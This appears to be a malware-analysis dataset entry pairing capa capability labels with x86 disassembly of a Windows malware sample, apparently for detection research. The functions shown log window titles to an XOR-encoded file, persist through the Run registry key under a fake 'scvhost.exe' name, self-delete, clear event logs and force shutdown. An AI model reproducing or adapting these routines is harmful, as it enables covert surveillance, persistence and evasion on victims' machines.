joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100035d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x558
push ebx
push esi
push 0x3ff
lea eax, [ebp - 0x557]
push 0
push eax
mov byte [ebp - 0x558], 0
call fcn.100082d0
mov ecx, dword [ebp + 8]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push ecx
lea edx, [ebp - 0x44]
push edx
lea eax, [ebp - 0x558]
push eax
mov dword [ebp - 0x44], 0x54535953
mov dword [ebp - 0x40], 0x435c4d45
mov dword [ebp - 0x3c], 0x65727275
mov dword [ebp - 0x38], 0x6f43746e
mov dword [ebp - 0x34], 0x6f72746e
mov dword [ebp - 0x30], 0x7465536c
mov dword [ebp - 0x2c], 0x7265535c
mov dword [ebp - 0x28], 0x65636976
mov dword [ebp - 0x24], 0x73255c73
mov byte [ebp - 0x20], 0
call esi
add esp, 0x18
lea ecx, [ebp - 0x54]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0x103
lea edx, [ebp - 0x157]
push 0
push edx
mov byte [ebp - 0x158], 0
call fcn.100082d0
movzx eax, word [ebp - 0x4a]
movzx ecx, word [ebp - 0x4c]
movzx edx, word [ebp - 0x4e]
push eax
movzx eax, word [ebp - 0x52]
push ecx
movzx ecx, word [ebp - 0x54]
push edx
push eax
push ecx
lea edx, [ebp - 0x1c]
push edx
lea eax, [ebp - 0x158]
push eax
mov dword [ebp - 0x1c], 0x2d643425
mov dword [ebp - 0x18], 0x64322e25
mov dword [ebp - 0x14], 0x322e252d
mov word [ebp - 0x10], 0x64
call esi
add esp, 0x28
push 0
lea ecx, [ebp - 0x158]
push ecx
mov dword [ebp - 0xc], 0x6b72614d
mov dword [ebp - 8], 0x656d6954
mov byte [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea edx, [ebp - 0x158]
push edx
push 1
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x558]
push ecx
push closesocket
call fcn.10007670
add esp, 0x1c
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10003710
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
push edi
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call fcn.100082d0
mov edi, dword [ebp + 8]
mov eax, edi
add esp, 0xc
xor esi, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10003742
sub eax, edx
je 0x1000379e
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmp byte [esi + edi], 0x5c
jne 0x10003789
push esi
lea ecx, [ebp - 0x108]
push edi
push ecx
call fcn.10007630
lea edx, [ebp - 0x108]
push 0
push edx
call fcn.10008de0
add esp, 0x14
cmp eax, 0xffffffff
jne 0x10003789
push 0
lea eax, [ebp - 0x108]
push eax
call ebx
mov eax, edi
inc esi
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10003790
sub eax, edx
cmp esi, eax
jb 0x10003754
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10003ad0
Capabilities:
Delete file
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [0x1001d2bc]
sub esp, 0x208
push 0x104
lea eax, [ebp - 0x208]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0x104]
push eax
mov ecx, eax
push str._s_d.bak
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea edx, [ebp - 0x104]
push edx
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 4
push 0
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
mov esp, ebp
pop ebp
ret
Function at 0x10004090
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.userenv.dll
call edi
mov ebx, eax
push str.CreateEnvironmentBlock
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor esi, esi
push 0x44
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x68]
push esi
push eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
call fcn.100082d0
xor eax, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
add esp, 0xc
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x68], 0x44
mov dword [ebp - 0x60], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [ebp - 8]
push ecx
push 0xf01ff
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov eax, dword [ebp - 8]
lea edx, [ebp - 4]
push edx
push 1
push 1
push esi
push 0x2000000
push eax
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
push str.WTSGetActiveConsoleSessionId
push str.Kernel32.dll
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, esi
je 0x100041a1
call eax
mov edx, dword [ebp - 4]
push 4
lea ecx, [ebp - 0xc]
push ecx
push 0xc
push edx
mov dword [ebp - 0xc], eax
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
mov eax, dword [ebp - 4]
push esi
push eax
lea ecx, [ebp - 0x10]
push ecx
call dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
lea edx, [ebp - 0x24]
push edx
mov edx, dword [ebp + 8]
lea eax, [ebp - 0x68]
push eax
mov eax, dword [ebp - 4]
push esi
push ecx
push 0x430
push esi
push esi
push esi
push edx
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
mov ecx, dword [ebp - 4]
mov edi, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x100041a3
xor edi, edi
cmp ebx, esi
je 0x100041ae
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10004310
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
push ebx
push esi
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x13f]
push ebx
push eax
mov byte [ebp - 0x140], bl
call fcn.100082d0
push 0x103
lea ecx, [ebp - 0x347]
push ebx
push ecx
mov byte [ebp - 0x348], bl
call fcn.100082d0
push 0x103
lea edx, [ebp - 0x243]
push ebx
push edx
mov byte [ebp - 0x244], bl
call fcn.100082d0
add esp, 0x24
push 0x104
lea eax, [ebp - 0x140]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea ecx, [ebp - 0x140]
push ecx
mov edx, ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0x104
lea eax, [ebp - 0x348]
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push str._c_del
lea ecx, [ebp - 0x244]
push ecx
call esi
lea edx, [ebp - 0x140]
push edx
lea eax, [ebp - 0x244]
push eax
call esi
push str.___nul
lea ecx, [ebp - 0x244]
push ecx
call esi
lea ecx, [ebp - 0x3c]
lea edx, [ebp - 0x348]
lea eax, [ebp - 0x244]
push ecx
mov dword [ebp - 0x3c], 0x3c
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], str.Open
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x38], 0x40
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x1000445d
mov edx, dword [ebp - 4]
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0x40
push edx
call esi
push pe_nt_image_headers32
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push ebx
lea eax, [ebp - 0x140]
push eax
push 1
push 4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
pop esi
lea eax, [ebx + 1]
pop ebx
mov esp, ebp
pop ebp
ret
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100049f0
Capabilities:
Encode data using xor
Get common file path
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edi, [ebp - 0x10c]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10004a15
mov cx, word [0x1001542c]
mov eax, str.Default
mov word [edi], cx
mov edx, eax
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10004a30
lea edi, [ebp - 0x10c]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10004a40
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x10c]
rep movsb byte es:[edi], byte [esi]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10004a60
mov edx, dword [str..key]
mov cl, byte [0x10015428]
push 0
push 0x80
push 4
push 0
push 2
mov dword [eax], edx
push 0x40000000
lea edx, [ebp - 0x10c]
push edx
mov byte [eax + 4], cl
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
push esi
mov dword [ebp - 4], esi
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x10004ac1
push 2
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebx, dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
push esi
call fcn.100081d0
add esp, 4
mov edi, eax
test esi, esi
jle 0x10004aec
mov ecx, ebx
sub ecx, edi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec esi
jne 0x10004ae0
push 0
lea eax, [ebp - 8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, dword [ebp - 4]
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10004b20
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
push esi
push 0x400
push 0
push 0x1001d330
call fcn.100082d0
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x400
push 0x1001d330
push eax
mov dword [0x1001d730], eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0x3ff
xor esi, esi
lea eax, [ebp - 0x40f]
push esi
push eax
mov byte [ebp - 0x410], 0
call fcn.100082d0
mov ecx, dword [0x1001d730]
add esp, 0xc
cmp ecx, dword [0x1001d32c]
je 0x10004c04
push 0x1001d330
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x10004bf8
lea edx, [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 4]
movzx ecx, word [ebp - 6]
movzx edx, word [ebp - 8]
push eax
movzx eax, word [ebp - 0xa]
push ecx
movzx ecx, word [ebp - 0xe]
push edx
movzx edx, word [ebp - 0x10]
push eax
push ecx
push edx
push 0x1001d330
lea eax, [ebp - 0x410]
push 0x100161e8
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [ebp - 0x410]
push ecx
call fcn.100049f0
push 0x400
push esi
push 0x1001d330
call fcn.100082d0
add esp, 0x34
mov esi, 1
mov edx, dword [0x1001d730]
mov dword [0x1001d32c], edx
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10004e60
Capabilities:
Copy file
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x164
push esi
push edi
push 0x103
lea eax, [ebp - 0x163]
push 0
push eax
mov byte [ebp - 0x164], 0
call fcn.100082d0
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x164]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0xa
mov esi, str.C:Program_FilesCommon_Files_scvhost.exe
lea edi, [ebp - 0x60]
rep movsd dword es:[edi], dword [esi]
push 0x30
lea edx, [ebp - 0x36]
push 0
push edx
movsw word es:[edi], word [esi]
call fcn.100082d0
add esp, 0xc
push 0
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x164]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea edx, [ebp - 4]
push edx
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop edi
pop esi
test eax, eax
jne 0x10004f19
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 4]
push 0x104
lea eax, [ebp - 0x164]
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x10004f20
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1108
call fcn.100082a0
push ebx
push edi
push 0x800
call fcn.100081d0
push 0x104
mov edi, eax
push 0
push edi
mov dword [ebp - 4], edi
call fcn.100082d0
push 0x7ff
lea eax, [ebp - 0x907]
push 0
push eax
mov byte [ebp - 0x908], 0
call fcn.100082d0
push 0x7ff
lea ecx, [ebp - 0x1107]
push 0
push ecx
mov byte [ebp - 0x1108], 0
call fcn.100082d0
add esp, 0x28
push 0
push str.CTXOPConntion_Class
call dword [sym.imp.USER32.dll_FindWindowA]
mov ebx, eax
test ebx, ebx
je 0x100050cd
push esi
lea ebx, [ebx]
push 0x103
lea edx, [ebp - 0x107]
push 0
push edx
mov byte [ebp - 0x108], 0
call fcn.100082d0
add esp, 0xc
push 0x104
lea eax, [ebp - 0x108]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetClassNameA]
mov ecx, str.CTXOPConntion_Class
lea eax, [ebp - 0x108]
jmp 0x10004fe0
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10005000
test dl, dl
je 0x10004ffc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10005000
add eax, 2
add ecx, 2
test dl, dl
jne 0x10004fe0
xor eax, eax
jmp 0x10005005
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x100050b9
test ebx, ebx
je 0x10005024
push 0x104
lea ecx, [ebp - 0x908]
push ecx
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0x908]
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10005030
sub eax, edx
lea esp, [esp]
dec eax
cmp byte [ebp + eax - 0x908], 0x5f
jne 0x10005040
lea eax, [ebp + eax - 0x907]
lea edx, [ebp - 0x1108]
sub edx, eax
lea ebx, [ebx]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x10005060
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x10005088
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10005076
mov dx, word [0x10016290]
mov word [edi], dx
lea eax, [ebp - 0x1108]
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10005090
mov edi, dword [ebp - 4]
sub eax, ecx
mov esi, ecx
dec edi
nop
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100050a0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp - 4]
push 2
push ebx
call dword [sym.imp.USER32.dll_GetWindow]
mov ebx, eax
test ebx, ebx
jne 0x10004fa0
pop esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
mov eax, edi
jne 0x100050e0
mov dword [edi], 0x2d2f2d
pop edi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100054b0
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
push 1
push str.SeShutdownPrivilege
call fcn.10007160
mov eax, dword [ebp + 8]
add esp, 8
push 0
push eax
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
push str.SeShutdownPrivilege
call fcn.10007160
add esp, 8
pop ebp
ret
Function at 0x10005530
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
movzx eax, byte [ebp + 8]
dec eax
mov dword [ebp - 0xc], str.Application
mov dword [ebp - 8], str.Security
mov dword [ebp - 4], str.System
cmp eax, 3
ja case.default.0x10005555
jmp dword [eax*4 + 0x100055bc]
mov eax, 0x10015e14
mov dword [ebp - 4], eax
jmp 0x1000557b
mov eax, 0x10015e14
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], eax
jmp case.0x10005555.1
mov eax, 0x10015e14
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
push esi
push edi
xor edi, edi
lea esp, [esp]
mov eax, dword [ebp + edi*4 - 0xc]
push eax
push 0
call ebx
mov esi, eax
test esi, esi
je 0x100055af
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
inc edi
cmp edi, 3
jb 0x10005590
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100055d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
push esi
push 0x400
lea eax, [ebp - 0x428]
push 0
push eax
call fcn.100082d0
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x28]
push edx
lea eax, [ebp - 0x428]
push eax
mov dword [ebp - 0x28], 0x54535953
mov dword [ebp - 0x24], 0x435c4d45
mov dword [ebp - 0x20], 0x65727275
mov dword [ebp - 0x1c], 0x6f43746e
mov dword [ebp - 0x18], 0x6f72746e
mov dword [ebp - 0x14], 0x7465536c
mov dword [ebp - 0x10], 0x7265535c
mov dword [ebp - 0xc], 0x65636976
mov dword [ebp - 8], 0x73255c73
mov byte [ebp - 4], 0
call dword [sym.imp.USER32.dll_wsprintfA]
mov esi, dword [ebp + 0x10]
add esp, 0x18
push 0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp + 0xc]
push eax
push esi
push 1
push ecx
lea edx, [ebp - 0x428]
push edx
push closesocket
call fcn.10007670
add esp, 0x1c
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x100056b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x10]
push ecx
push edx
mov dword [ebp - 0x10], 0x6e6e6f43
mov dword [ebp - 0xc], 0x47746365
mov dword [ebp - 8], 0x70756f72
mov byte [ebp - 4], 0
call fcn.100055d0
add esp, 0xc
mov esp, ebp
pop ebp
ret
Function at 0x100056f0
Capabilities:
Create process on windows
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x554
push esi
push edi
push 0x104
lea eax, [ebp - 0x158]
push 0
push eax
call fcn.100082d0
mov edi, dword [ebp + 8]
add esp, 0xc
cmp byte [edi], 0
mov esi, edi
je 0x10005726
jmp 0x10005720
inc esi
cmp byte [esi], 0
jne 0x10005720
mov ecx, esi
dec esi
cmp ecx, edi
je 0x1000576e
cmp byte [esi], 0x2e
jne 0x10005726
push 0x103
lea edx, [ebp - 0x25b]
push 0
push edx
mov byte [ebp - 0x25c], 0
call fcn.100082d0
add esp, 0xc
cmp byte [esi], 0
mov eax, esi
je 0x10005760
inc eax
cmp byte [eax], 0
jne 0x10005756
lea esp, [esp]
mov ecx, eax
dec eax
cmp ecx, esi
je 0x1000577b
cmp byte [eax], 0x20
jne 0x10005760
jmp 0x10005780
cmp byte [esi], 0x2e
je 0x10005732
pop edi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
cmp byte [eax], 0x20
jne 0x100057b3
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10005785
sub eax, edx
dec eax
test eax, eax
jle 0x100057c1
cmp byte [esi + eax], 0x20
je 0x100057a0
dec eax
test eax, eax
jg 0x10005793
jmp 0x100057c1
push eax
lea edx, [ebp - 0x25c]
push esi
push edx
call fcn.10007630
add esp, 0xc
jmp 0x100057c1
push esi
lea eax, [ebp - 0x25c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
push 0x104
push 0
lea ecx, [ebp - 0x158]
push ecx
push 1
push 0
lea edx, [ebp - 0x25c]
push edx
push closesocket
call fcn.100073b0
add esp, 0x20
test eax, eax
je 0x10005773
push 0x1f4
lea eax, [ebp - 0x554]
push 0
push eax
call fcn.100082d0
lea ecx, [ebp - 0x158]
push ecx
lea edx, [ebp - 0x554]
push str._s_shellopencommand
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x104
lea eax, [ebp - 0x158]
push 0
push eax
call fcn.100082d0
push 0x103
lea ecx, [ebp - 0x35f]
push 0
push ecx
mov byte [ebp - 0x360], 0
call fcn.100082d0
push 0
push 0x104
push 0
lea edx, [ebp - 0x360]
push edx
push 2
push 0
lea eax, [ebp - 0x554]
push eax
push closesocket
call fcn.100073b0
add esp, 0x50
test eax, eax
je 0x10005773
push 0x104
lea ecx, [ebp - 0x158]
push ecx
lea edx, [ebp - 0x360]
push edx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x158]
push 0x100162d8
push eax
call fcn.10008630
add esp, 8
test eax, eax
jne 0x100058df
lea ecx, [ebp - 0x158]
push 0x100162d4
push ecx
call fcn.10008630
add esp, 8
test eax, eax
jne 0x100058df
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x100154f8
lea edx, [ebp - 0x158]
push edx
call esi
push edi
lea eax, [ebp - 0x158]
push eax
call esi
jmp 0x100058e7
push edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x40
lea ecx, [ebp - 0x40]
push 0
push ecx
call fcn.100082d0
add esp, 0xc
cmp dword [ebp + 0xc], 0
mov dword [ebp - 0x44], 0x44
je 0x1000590d
mov dword [ebp - 0x3c], str.WinSta0Default
jmp 0x1000591a
xor edx, edx
mov dword [ebp - 0x18], 1
mov word [ebp - 0x14], dx
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 0x44]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x158]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10005950
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d8
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 0x167
lea eax, [ebp - 0x2d7]
push 0
mov ecx, 0x5c
mov esi, ebx
lea edi, [ebp - 0x170]
push eax
rep movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x2d8], 0
call fcn.100082d0
add esp, 0xc
push 0
push 0
push 2
push 0
push 1
push 0x40000000
lea ecx, [ebp - 0x64]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100059b4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 0xc]
push 0
lea edx, [ebp + 8]
push edx
add eax, 0xfffffe90
push eax
add ebx, 0x170
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x100059ab
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x168]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100059e5
sub eax, edx
je 0x10005a12
lea ecx, [ebp - 0x168]
push ecx
lea edx, [ebp - 0x64]
push edx
lea eax, [ebp - 0x2d8]
push str._s__s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
jmp 0x10005a23
lea ecx, [ebp - 0x64]
push ecx
lea edx, [ebp - 0x2d8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 0x16c]
sub eax, 0
je 0x10005a6e
dec eax
je 0x10005a51
sub eax, 2
jne 0x10005a7f
call fcn.10004310
pop edi
pop esi
mov dword [0x1001d2b0], 1
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x2d8]
push 0
push eax
call fcn.100056f0
add esp, 8
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x2d8]
push 5
push ecx
call fcn.100056f0
add esp, 8
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10005bc0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x15c
push esi
mov esi, dword [ebp + 8]
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10005bd2
sub eax, edx
je 0x10005ca9
push 0x104
lea eax, [ebp - 0x15c]
push 0
push eax
call fcn.100082d0
push 0
push 0x104
push 0
lea ecx, [ebp - 0x15c]
push ecx
push 1
push 0
push str.Applicationsiexplore.exe_shellopencommand
push closesocket
call fcn.100073b0
add esp, 0x2c
test eax, eax
je 0x10005ca9
lea edx, [ebp - 0x15c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x10005ca9
lea eax, [ebp - 0x15c]
push 0x100162d4
push eax
call fcn.10008630
add esp, 8
test eax, eax
je 0x10005ca9
push esi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x40
lea ecx, [ebp - 0x44]
push 0
push ecx
call fcn.100082d0
add esp, 0xc
cmp dword [ebp + 0xc], 0
mov dword [ebp - 0x48], 0x44
je 0x10005c79
mov dword [ebp - 0x40], str.WinSta0Default
jmp 0x10005c86
xor edx, edx
mov dword [ebp - 0x1c], 1
mov word [ebp - 0x18], dx
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x48]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x15c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
xor al, al
pop esi
mov esp, ebp
pop ebp
ret